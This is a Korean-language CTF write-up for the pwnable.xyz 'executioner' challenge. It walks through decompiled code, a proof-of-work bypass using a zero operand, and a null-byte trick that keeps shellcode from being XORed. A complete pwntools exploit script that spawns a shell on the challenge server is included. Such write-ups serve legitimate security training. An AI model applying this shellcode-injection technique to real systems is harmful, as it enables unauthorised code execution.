[pwnable.xyz]executioner
solve_pow()함수 통과하면 inpt에 입력할 수 있다. 근데 입력한 값을 랜덤값과 xor해준다. 이후 v4는 메모리 매핑해주고 우리가 xor한 값을 참조해 영역을 실행권한도 존재해서 실행할 수 있다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
_QWORD *v4; // rax
int i; // [rsp+0h] [rbp-20h]
int fd; // [rsp+4h] [rbp-1Ch]
setup();
solve_pow();
puts("Shellcode executioner");
fd = open("/dev/urandom", 0);
if ( fd != -1 )
{
read(fd, key, 127uLL);
close(fd);
printf("Input: ", key);
read(0, inpt, 127uLL);
for ( i = 0; i < strlen(inpt); ++i )
inpt[i] ^= key[i];
v4 = mmap(0LL, 0x1000uLL, 7, 34, 0, 0LL);
*v4 = *inpt;
v4[1] = qword_202288;
v4[2] = qword_202290;
v4[3] = qword_202298;
v4[4] = qword_2022A0;
v4[5] = qword_2022A8;
v4[6] = qword_2022B0;
v4[7] = qword_2022B8;
v4[8] = qword_2022C0;
v4[9] = qword_2022C8;
v4[10] = qword_2022D0;
v4[11] = qword_2022D8;
v4[12] = qword_2022E0;
v4[13] = qword_2022E8;
v4[14] = qword_2022F0;
v4[15] = qword_2022F8;
JUMPOUT(__CS__, v4);
}
puts("error");
return 1;
}
우선 이 solve_pow()
함수를 통과해야한다. 여기서도 랜덤값을 가져와서 두개 입력해서 더한 값이 랜덤값과 같아야한다. 근데 문제는 sleep() 해주는데 인자가 두개 입력한 걸 곱한 값이다. 근데 둘중 하나 0으로 하면 그냥 sleep(0) 되서 통과할 수 있다.
unsigned __int64 solve_pow()
{
unsigned int buf; // [rsp+8h] [rbp-18h]
int v2; // [rsp+Ch] [rbp-14h]
int v3; // [rsp+10h] [rbp-10h]
int fd; // [rsp+14h] [rbp-Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
fd = open("/dev/urandom", 0);
if ( fd == -1 )
{
puts("Can't open /dev/urandom");
exit(1);
}
buf = 0;
read(fd, &buf, 4uLL);
close(fd);
v2 = 0;
v3 = 0;
printf("POW: x + y == 0x%x\n", buf);
printf("> ");
if ( _isoc99_scanf("%d %d", &v2, &v3) != 2 )
{
puts("scanf error");
exit(1);
}
getchar();
if ( v3 + v2 != buf )
{
puts("POW failed");
exit(1);
}
puts("Loading challenge... ");
sleep(v2 * v3);
return __readfsqword(0x28u) ^ v5;
}
우선 위에서 말한대로 solve_pow
함수 통과하면 이후에 key와 xor하는데 strlen(inpt)을 해준다. 여기서 트릭이 널바이트 넣으면 거기까지밖에 문자로 인식 안한다는 것이다. 그래서 널바이트를 삽입하면 뒤에는 xor안할 수 있다. 이후 쉘코드 넣으면 쉘을 띄울 수 있다.
exploit.py
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
e = ELF('./challenge')
p = remote('svc.pwnable.xyz',30025)
#p = process('./challenge')
win = e.symbols['win']
## solve pow
p.recvuntil('POW: x + y ==')
buf = int(p.recvline().strip(),16)
p.sendlineafter('> ','0 ' + str(buf))
payload = '\x00'*2
payload += asm(shellcraft.amd64.sh())
p.sendafter(':',payload)
p.interactive()